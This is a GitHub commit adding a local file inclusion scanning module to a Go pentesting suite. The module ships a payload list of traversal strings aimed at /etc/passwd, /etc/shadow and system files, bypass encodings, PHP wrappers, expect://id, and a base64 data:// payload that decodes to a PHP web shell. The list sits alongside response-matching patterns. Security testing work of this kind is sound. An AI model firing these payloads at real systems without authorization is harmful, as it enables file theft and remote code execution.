Skip to content

Commit 64165d3

Browse files
committed
feat: add lfi reconnaissance module
adds a new --lfi flag for local file inclusion vulnerability scanning: - tests common lfi parameters with directory traversal payloads - detects /etc/passwd, /etc/shadow, windows system files - identifies php wrappers and encoded content - supports various bypass techniques (null bytes, encoding) closes #4
1 parent 3ba18a9 commit 64165d3

4 files changed

Lines changed: 637 additions & 0 deletions

File tree

pkg/config/config.go

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -43,6 +43,7 @@ type Settings struct {
4343
SubdomainTakeover bool
4444
Shodan bool
4545
SQL bool
46+
LFI bool
4647
}
4748

4849
const (
@@ -87,6 +88,7 @@ func Parse() *Settings {
8788
flagSet.BoolVar(&settings.SubdomainTakeover, "st", false, "Enable Subdomain Takeover Check"),
8889
flagSet.BoolVar(&settings.Shodan, "shodan", false, "Enable Shodan lookup (requires SHODAN_API_KEY env var)"),
8990
flagSet.BoolVar(&settings.SQL, "sql", false, "Enable SQL reconnaissance (admin panels, error disclosure)"),
91+
flagSet.BoolVar(&settings.LFI, "lfi", false, "Enable LFI (Local File Inclusion) reconnaissance"),
9092
)
9193

9294
flagSet.CreateGroup("runtime", "Runtime",

pkg/scan/lfi.go

Lines changed: 309 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,309 @@
1+
/*
2+
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
3+
: :
4+
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
5+
: ▄█ █ █▀ · BSD 3-Clause License :
6+
: :
7+
: (c) 2022-2025 vmfunc (Celeste Hickenlooper), xyzeva, :
8+
: lunchcat alumni & contributors :
9+
: :
10+
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
11+
*/
12+
13+
package scan
14+
15+
import (
16+
"fmt"
17+
"io"
18+
"net/http"
19+
"net/url"
20+
"os"
21+
"regexp"
22+
"strings"
23+
"sync"
24+
"time"
25+
26+
"github.com/charmbracelet/log"
27+
"github.com/dropalldatabases/sif/internal/styles"
28+
"github.com/dropalldatabases/sif/pkg/logger"
29+
)
30+
31+
// LFIResult represents the results of LFI reconnaissance
32+
type LFIResult struct {
33+
Vulnerabilities []LFIVulnerability `json:"vulnerabilities,omitempty"`
34+
TestedParams int `json:"tested_params"`
35+
TestedPayloads int `json:"tested_payloads"`
36+
}
37+
38+
// LFIVulnerability represents a detected LFI vulnerability
39+
type LFIVulnerability struct {
40+
URL string `json:"url"`
41+
Parameter string `json:"parameter"`
42+
Payload string `json:"payload"`
43+
Evidence string `json:"evidence"`
44+
Severity string `json:"severity"`
45+
FileIncluded string `json:"file_included,omitempty"`
46+
}
47+
48+
// LFI payloads for directory traversal
49+
var lfiPayloads = []struct {
50+
payload string
51+
target string
52+
severity string
53+
}{
54+
// Linux/Unix paths
55+
{"../../../../../../../etc/passwd", "/etc/passwd", "high"},
56+
{"....//....//....//....//....//etc/passwd", "/etc/passwd", "high"},
57+
{"..%2f..%2f..%2f..%2f..%2fetc/passwd", "/etc/passwd", "high"},
58+
{"..%252f..%252f..%252f..%252fetc/passwd", "/etc/passwd", "high"},
59+
{"%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", "/etc/passwd", "high"},
60+
{"....\\....\\....\\....\\etc\\passwd", "/etc/passwd", "high"},
61+
{"/etc/passwd", "/etc/passwd", "high"},
62+
{"/etc/passwd%00", "/etc/passwd", "high"},
63+
{"../../../../../../../etc/shadow", "/etc/shadow", "critical"},
64+
{"../../../../../../../proc/self/environ", "/proc/self/environ", "high"},
65+
{"../../../../../../../var/log/apache2/access.log", "apache access log", "medium"},
66+
{"../../../../../../../var/log/apache2/error.log", "apache error log", "medium"},
67+
{"../../../../../../../var/log/nginx/access.log", "nginx access log", "medium"},
68+
{"../../../../../../../var/log/nginx/error.log", "nginx error log", "medium"},
69+
70+
// Windows paths
71+
{"..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts", "windows hosts", "high"},
72+
{"../../../../../../../windows/system32/drivers/etc/hosts", "windows hosts", "high"},
73+
{"..\\..\\..\\..\\boot.ini", "boot.ini", "high"},
74+
{"../../../../../../../boot.ini", "boot.ini", "high"},
75+
{"..\\..\\..\\..\\windows\\win.ini", "win.ini", "medium"},
76+
77+
// PHP wrappers
78+
{"php://filter/convert.base64-encode/resource=index.php", "php source", "high"},
79+
{"php://filter/read=convert.base64-encode/resource=config.php", "php config", "critical"},
80+
{"expect://id", "command execution", "critical"},
81+
{"php://input", "php input", "high"},
82+
{"data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+", "data wrapper", "critical"},
83+
}
84+
85+
// Evidence patterns for LFI detection
86+
var lfiEvidencePatterns = []struct {
87+
pattern *regexp.Regexp
88+
description string
89+
severity string
90+
}{
91+
{regexp.MustCompile(`root:.*:0:0:`), "/etc/passwd content", "high"},
92+
{regexp.MustCompile(`daemon:.*:1:1:`), "/etc/passwd content", "high"},
93+
{regexp.MustCompile(`nobody:.*:65534:`), "/etc/passwd content", "high"},
94+
{regexp.MustCompile(`\[boot loader\]`), "boot.ini content", "high"},
95+
{regexp.MustCompile(`\[operating systems\]`), "boot.ini content", "high"},
96+
{regexp.MustCompile(`; for 16-bit app support`), "win.ini content", "medium"},
97+
{regexp.MustCompile(`\[fonts\]`), "win.ini content", "medium"},
98+
{regexp.MustCompile(`127\.0\.0\.1\s+localhost`), "hosts file content", "medium"},
99+
{regexp.MustCompile(`DOCUMENT_ROOT=`), "/proc/self/environ content", "high"},
100+
{regexp.MustCompile(`PATH=.*:/usr`), "environment variables", "high"},
101+
{regexp.MustCompile(`<\?php`), "PHP source code", "high"},
102+
{regexp.MustCompile(`PD9waHA`), "base64 encoded PHP", "high"},
103+
}
104+
105+
// Common parameters to test
106+
var commonLFIParams = []string{
107+
"file", "page", "path", "include", "doc", "document",
108+
"folder", "root", "pg", "style", "pdf", "template",
109+
"php_path", "lang", "language", "view", "content",
110+
"layout", "mod", "conf", "url", "dir", "show",
111+
"name", "cat", "action", "read", "load", "open",
112+
}
113+
114+
// LFI performs LFI (Local File Inclusion) reconnaissance on the target URL
115+
func LFI(targetURL string, timeout time.Duration, threads int, logdir string) (*LFIResult, error) {
116+
fmt.Println(styles.Separator.Render("📁 Starting " + styles.Status.Render("LFI reconnaissance") + "..."))
117+
118+
sanitizedURL := strings.Split(targetURL, "://")[1]
119+
120+
if logdir != "" {
121+
if err := logger.WriteHeader(sanitizedURL, logdir, "LFI reconnaissance"); err != nil {
122+
log.Errorf("Error creating log file: %v", err)
123+
return nil, err
124+
}
125+
}
126+
127+
lfilog := log.NewWithOptions(os.Stderr, log.Options{
128+
Prefix: "LFI 📁",
129+
}).With("url", targetURL)
130+
131+
lfilog.Infof("Starting LFI reconnaissance...")
132+
133+
result := &LFIResult{
134+
Vulnerabilities: []LFIVulnerability{},
135+
}
136+
137+
var mu sync.Mutex
138+
var wg sync.WaitGroup
139+
140+
client := &http.Client{
141+
Timeout: timeout,
142+
CheckRedirect: func(req *http.Request, via []*http.Request) error {
143+
if len(via) >= 3 {
144+
return http.ErrUseLastResponse
145+
}
146+
return nil
147+
},
148+
}
149+
150+
// parse the target URL to check for existing parameters
151+
parsedURL, err := url.Parse(targetURL)
152+
if err != nil {
153+
return nil, fmt.Errorf("failed to parse URL: %w", err)
154+
}
155+
156+
existingParams := parsedURL.Query()
157+
paramsToTest := make(map[string]bool)
158+
159+
// add existing parameters
160+
for param := range existingParams {
161+
paramsToTest[param] = true
162+
}
163+
164+
// add common LFI parameters
165+
for _, param := range commonLFIParams {
166+
paramsToTest[param] = true
167+
}
168+
169+
result.TestedParams = len(paramsToTest)
170+
result.TestedPayloads = len(lfiPayloads)
171+
172+
lfilog.Infof("Testing %d parameters with %d payloads", len(paramsToTest), len(lfiPayloads))
173+
174+
// create work items
175+
type workItem struct {
176+
param string
177+
payload struct {
178+
payload string
179+
target string
180+
severity string
181+
}
182+
}
183+
184+
workItems := make([]workItem, 0, len(paramsToTest)*len(lfiPayloads))
185+
for param := range paramsToTest {
186+
for _, payload := range lfiPayloads {
187+
workItems = append(workItems, workItem{param: param, payload: payload})
188+
}
189+
}
190+
191+
// distribute work
192+
workChan := make(chan workItem, len(workItems))
193+
for _, item := range workItems {
194+
workChan <- item
195+
}
196+
close(workChan)
197+
198+
wg.Add(threads)
199+
for t := 0; t < threads; t++ {
200+
go func() {
201+
defer wg.Done()
202+
for item := range workChan {
203+
// build test URL
204+
testParams := url.Values{}
205+
for k, v := range existingParams {
206+
if k != item.param {
207+
testParams[k] = v
208+
}
209+
}
210+
testParams.Set(item.param, item.payload.payload)
211+
212+
testURL := fmt.Sprintf("%s://%s%s?%s",
213+
parsedURL.Scheme,
214+
parsedURL.Host,
215+
parsedURL.Path,
216+
testParams.Encode())
217+
218+
resp, err := client.Get(testURL)
219+
if err != nil {
220+
log.Debugf("Error testing %s: %v", testURL, err)
221+
continue
222+
}
223+
224+
body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100))
225+
resp.Body.Close()
226+
if err != nil {
227+
continue
228+
}
229+
230+
bodyStr := string(body)
231+
232+
// check for evidence patterns
233+
for _, evidence := range lfiEvidencePatterns {
234+
if evidence.pattern.MatchString(bodyStr) {
235+
mu.Lock()
236+
// check for duplicates
237+
duplicate := false
238+
for _, v := range result.Vulnerabilities {
239+
if v.Parameter == item.param && v.Payload == item.payload.payload {
240+
duplicate = true
241+
break
242+
}
243+
}
244+
if !duplicate {
245+
vuln := LFIVulnerability{
246+
URL: testURL,
247+
Parameter: item.param,
248+
Payload: item.payload.payload,
249+
Evidence: evidence.description,
250+
Severity: item.payload.severity,
251+
FileIncluded: item.payload.target,
252+
}
253+
result.Vulnerabilities = append(result.Vulnerabilities, vuln)
254+
255+
lfilog.Warnf("LFI vulnerability found: %s in param [%s] - %s",
256+
styles.SeverityHigh.Render(evidence.description),
257+
styles.Highlight.Render(item.param),
258+
styles.Status.Render(item.payload.target))
259+
260+
if logdir != "" {
261+
logger.Write(sanitizedURL, logdir,
262+
fmt.Sprintf("LFI: %s in param [%s] via payload [%s]\n",
263+
evidence.description, item.param, item.payload.payload))
264+
}
265+
}
266+
mu.Unlock()
267+
break
268+
}
269+
}
270+
}
271+
}()
272+
}
273+
wg.Wait()
274+
275+
// summary
276+
if len(result.Vulnerabilities) > 0 {
277+
lfilog.Warnf("Found %d LFI vulnerabilities", len(result.Vulnerabilities))
278+
criticalCount := 0
279+
highCount := 0
280+
for _, v := range result.Vulnerabilities {
281+
if v.Severity == "critical" {
282+
criticalCount++
283+
} else if v.Severity == "high" {
284+
highCount++
285+
}
286+
}
287+
if criticalCount > 0 {
288+
lfilog.Errorf("%d CRITICAL vulnerabilities found!", criticalCount)
289+
}
290+
if highCount > 0 {
291+
lfilog.Warnf("%d HIGH severity vulnerabilities found", highCount)
292+
}
293+
} else {
294+
lfilog.Infof("No LFI vulnerabilities detected")
295+
return nil, nil
296+
}
297+
298+
return result, nil
299+
}
300+
301+
// DetectLFIFromResponse checks a response body for LFI evidence
302+
func DetectLFIFromResponse(body string) (bool, string) {
303+
for _, evidence := range lfiEvidencePatterns {
304+
if evidence.pattern.MatchString(body) {
305+
return true, evidence.description
306+
}
307+
}
308+
return false, ""
309+
}

0 commit comments

Comments
 (0)